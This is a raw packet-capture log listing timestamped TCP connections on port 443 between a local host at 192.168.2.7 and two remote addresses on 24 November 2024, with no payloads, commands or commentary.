Nov 24, 2024 05:13:01.754513025 CET	443	50074	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:01.830322027 CET	443	50071	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:01.833467007 CET	443	50071	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:01.833513021 CET	50071	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:01.833518028 CET	443	50071	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:01.833564043 CET	50071	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:01.834830999 CET	50071	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:01.834855080 CET	443	50071	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:01.834871054 CET	50071	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:01.834877968 CET	443	50071	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:01.838968039 CET	50076	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:01.839016914 CET	443	50076	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:01.839083910 CET	50076	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:01.839255095 CET	50076	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:01.839268923 CET	443	50076	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:01.978188038 CET	443	50072	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:01.978255987 CET	443	50072	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:01.978317976 CET	50072	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:01.978534937 CET	50072	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:01.978550911 CET	443	50072	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:01.978560925 CET	50072	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:01.978566885 CET	443	50072	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:01.981458902 CET	50077	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:01.981508017 CET	443	50077	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:01.981601000 CET	50077	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:01.981733084 CET	50077	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:01.981748104 CET	443	50077	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:02.089474916 CET	443	50075	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:02.090002060 CET	50075	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:02.090023994 CET	443	50075	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:02.090579033 CET	50075	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:02.090583086 CET	443	50075	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:02.113423109 CET	443	50073	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:02.116805077 CET	443	50073	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:02.116986990 CET	50073	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:02.116986990 CET	50073	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:02.116986990 CET	50073	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:02.119719028 CET	50078	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:02.119752884 CET	443	50078	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:02.119837046 CET	50078	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:02.119976997 CET	50078	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:02.119992018 CET	443	50078	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:02.187798977 CET	443	50074	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:02.187999964 CET	443	50074	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:02.188056946 CET	50074	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:02.189670086 CET	50074	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:02.189683914 CET	443	50074	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:02.189692974 CET	50074	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:02.189697981 CET	443	50074	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:02.196953058 CET	50079	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:02.196996927 CET	443	50079	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:02.197057009 CET	50079	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:02.197701931 CET	50079	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:02.197716951 CET	443	50079	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:02.429112911 CET	50073	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:02.429155111 CET	443	50073	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:02.533066988 CET	443	50075	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:02.536238909 CET	443	50075	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:02.536290884 CET	443	50075	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:02.536473989 CET	50075	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:02.536473989 CET	50075	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:02.536473989 CET	50075	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:02.539617062 CET	50080	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:02.539676905 CET	443	50080	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:02.539794922 CET	50080	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:02.539922953 CET	50080	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:02.539942026 CET	443	50080	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:02.851010084 CET	50075	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:02.851041079 CET	443	50075	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:03.795766115 CET	443	50076	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:03.796441078 CET	50076	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:03.796477079 CET	443	50076	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:03.796943903 CET	50076	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:03.796947956 CET	443	50076	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:03.855743885 CET	443	50077	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:03.856559038 CET	50077	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:03.856585026 CET	443	50077	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:03.856914997 CET	50077	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:03.856920004 CET	443	50077	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:03.909980059 CET	443	50078	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:03.918061972 CET	50078	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:03.918093920 CET	443	50078	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:03.918550014 CET	50078	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:03.918560028 CET	443	50078	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:03.977966070 CET	443	50079	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:03.978553057 CET	50079	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:03.978580952 CET	443	50079	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:03.979033947 CET	50079	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:03.979038954 CET	443	50079	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.247885942 CET	443	50076	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.250036001 CET	443	50076	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.250267029 CET	50076	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.253029108 CET	50076	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.253046036 CET	443	50076	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.253056049 CET	50076	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.253062963 CET	443	50076	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.256361008 CET	50081	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.256392002 CET	443	50081	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.256458998 CET	50081	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.256601095 CET	50081	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.256613970 CET	443	50081	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.308150053 CET	443	50077	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.311486006 CET	443	50077	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.311577082 CET	50077	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.311753035 CET	50077	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.311753035 CET	50077	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.311765909 CET	443	50077	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.311774015 CET	443	50077	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.314227104 CET	50082	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.314254045 CET	443	50082	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.314317942 CET	50082	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.314450026 CET	50082	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.314467907 CET	443	50082	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.353070021 CET	443	50078	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.356173992 CET	443	50078	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.356273890 CET	50078	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.356297016 CET	50078	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.356303930 CET	443	50078	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.356312990 CET	50078	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.356317043 CET	443	50078	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.358753920 CET	50083	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.358791113 CET	443	50083	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.358867884 CET	50083	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.359002113 CET	50083	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.359008074 CET	443	50083	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.383044004 CET	443	50080	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.383598089 CET	50080	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.383620024 CET	443	50080	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.383968115 CET	50080	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.383975029 CET	443	50080	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.430654049 CET	443	50079	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.433818102 CET	443	50079	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.434029102 CET	50079	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.434029102 CET	50079	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.434029102 CET	50079	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.436969042 CET	50084	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.437015057 CET	443	50084	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.437122107 CET	50084	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.437335968 CET	50084	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.437350988 CET	443	50084	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.743721008 CET	50079	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.743750095 CET	443	50079	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.835844040 CET	443	50080	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.839257002 CET	443	50080	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.839354038 CET	50080	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.839387894 CET	50080	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.839411020 CET	443	50080	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.839423895 CET	50080	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.839431047 CET	443	50080	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.842417002 CET	50085	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.842467070 CET	443	50085	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:04.842559099 CET	50085	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.842710018 CET	50085	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:04.842722893 CET	443	50085	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.037997007 CET	443	50082	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.038530111 CET	50082	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.038552046 CET	443	50082	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.039005995 CET	50082	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.039014101 CET	443	50082	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.040205956 CET	443	50081	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.040466070 CET	50081	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.040493965 CET	443	50081	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.040797949 CET	50081	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.040815115 CET	443	50081	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.213538885 CET	443	50083	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.216531992 CET	443	50084	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.227571964 CET	50083	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.227586985 CET	443	50083	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.228226900 CET	50083	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.228241920 CET	443	50083	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.228533983 CET	50084	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.228545904 CET	443	50084	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.228899002 CET	50084	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.228904963 CET	443	50084	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.473390102 CET	443	50082	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.476275921 CET	443	50082	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.476396084 CET	50082	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.476547003 CET	50082	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.476566076 CET	443	50082	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.476596117 CET	50082	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.476603985 CET	443	50082	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.480979919 CET	50086	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.480995893 CET	443	50086	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.481065035 CET	50086	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.481232882 CET	50086	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.481245995 CET	443	50086	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.487860918 CET	443	50081	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.487936974 CET	443	50081	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.488013029 CET	50081	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.488101006 CET	50081	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.488116026 CET	443	50081	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.488152981 CET	50081	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.488158941 CET	443	50081	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.490497112 CET	50087	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.490525961 CET	443	50087	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.490611076 CET	50087	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.490720987 CET	50087	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.490734100 CET	443	50087	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.620461941 CET	443	50085	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.621320009 CET	50085	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.621345043 CET	443	50085	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.621802092 CET	50085	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.621809006 CET	443	50085	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.659293890 CET	443	50084	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.662550926 CET	443	50084	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.662621975 CET	50084	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.662694931 CET	50084	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.662707090 CET	443	50084	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.662719011 CET	50084	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.662724972 CET	443	50084	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.665561914 CET	50088	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.665622950 CET	443	50088	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.665652037 CET	443	50083	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.665715933 CET	50088	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.665865898 CET	50088	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.665884018 CET	443	50088	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.668756962 CET	443	50083	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.668831110 CET	50083	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.668848038 CET	443	50083	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.668876886 CET	443	50083	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.668929100 CET	50083	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.672869921 CET	50083	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.672888041 CET	443	50083	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.672899008 CET	50083	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.672904015 CET	443	50083	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.675560951 CET	50089	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.675589085 CET	443	50089	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:06.675657034 CET	50089	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.675800085 CET	50089	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:06.675815105 CET	443	50089	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:07.064554930 CET	443	50085	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:07.067759037 CET	443	50085	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:07.067806959 CET	443	50085	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:07.067806005 CET	50085	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:07.067857027 CET	50085	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:07.067903042 CET	50085	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:07.067920923 CET	443	50085	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:07.067930937 CET	50085	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:07.067936897 CET	443	50085	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:07.070811987 CET	50090	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:07.070867062 CET	443	50090	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:07.070943117 CET	50090	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:07.071146011 CET	50090	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:07.071163893 CET	443	50090	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.259207964 CET	443	50086	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.259785891 CET	50086	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.259802103 CET	443	50086	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.260241985 CET	50086	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.260247946 CET	443	50086	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.270101070 CET	443	50087	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.270519018 CET	50087	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.270539045 CET	443	50087	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.270838022 CET	50087	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.270843983 CET	443	50087	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.446912050 CET	443	50088	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.447488070 CET	50088	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.447525024 CET	443	50088	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.448133945 CET	50088	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.448142052 CET	443	50088	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.455478907 CET	443	50089	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.455801964 CET	50089	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.455818892 CET	443	50089	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.456300974 CET	50089	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.456307888 CET	443	50089	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.703568935 CET	443	50086	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.706624985 CET	443	50086	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.706705093 CET	50086	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.714621067 CET	50086	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.714638948 CET	443	50086	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.714649916 CET	50086	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.714657068 CET	443	50086	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.726571083 CET	443	50087	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.729643106 CET	443	50087	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.729696035 CET	443	50087	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.729700089 CET	50087	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.729748011 CET	50087	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.861968994 CET	50087	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.861987114 CET	443	50087	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.861996889 CET	50087	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.862003088 CET	443	50087	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.878022909 CET	50091	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.878066063 CET	443	50091	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.878185034 CET	50091	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.879246950 CET	50091	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.879257917 CET	443	50091	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.880196095 CET	50092	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.880218029 CET	443	50092	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.880280018 CET	50092	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.881067991 CET	50092	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.881081104 CET	443	50092	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.899380922 CET	443	50089	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.902581930 CET	443	50089	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.902648926 CET	50089	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.902839899 CET	50089	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.902851105 CET	443	50089	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.902863979 CET	50089	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.902868986 CET	443	50089	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.906474113 CET	443	50088	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.909641027 CET	443	50088	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.909733057 CET	50088	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.910695076 CET	50088	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.910725117 CET	443	50088	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.910739899 CET	50088	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.910748959 CET	443	50088	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.916146994 CET	443	50090	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.918585062 CET	50090	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.918596983 CET	443	50090	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.922503948 CET	50090	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.922511101 CET	443	50090	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.926521063 CET	50093	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.926552057 CET	443	50093	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.926656008 CET	50093	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.927131891 CET	50093	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.927145958 CET	443	50093	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.934102058 CET	50094	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.934117079 CET	443	50094	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:08.934178114 CET	50094	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.934612036 CET	50094	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:08.934624910 CET	443	50094	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:09.317745924 CET	443	50069	142.250.181.100	192.168.2.7
Nov 24, 2024 05:13:09.317812920 CET	443	50069	142.250.181.100	192.168.2.7
Nov 24, 2024 05:13:09.317872047 CET	50069	443	192.168.2.7	142.250.181.100
Nov 24, 2024 05:13:09.369545937 CET	443	50090	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:09.372633934 CET	443	50090	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:09.372704983 CET	50090	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:09.372746944 CET	50090	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:09.372746944 CET	50090	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:09.372769117 CET	443	50090	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:09.372781038 CET	443	50090	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:09.375760078 CET	50095	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:09.375796080 CET	443	50095	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:09.375874043 CET	50095	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:09.376012087 CET	50095	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:09.376024008 CET	443	50095	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:10.242947102 CET	50069	443	192.168.2.7	142.250.181.100
Nov 24, 2024 05:13:10.242973089 CET	443	50069	142.250.181.100	192.168.2.7
Nov 24, 2024 05:13:10.591392040 CET	443	50091	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:10.591964006 CET	50091	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:13:10.591984034 CET	443	50091	13.107.246.63	192.168.2.7
Nov 24, 2024 05:13:10.592503071 CET	50091	443	192.168.2.7	13.107.246.63
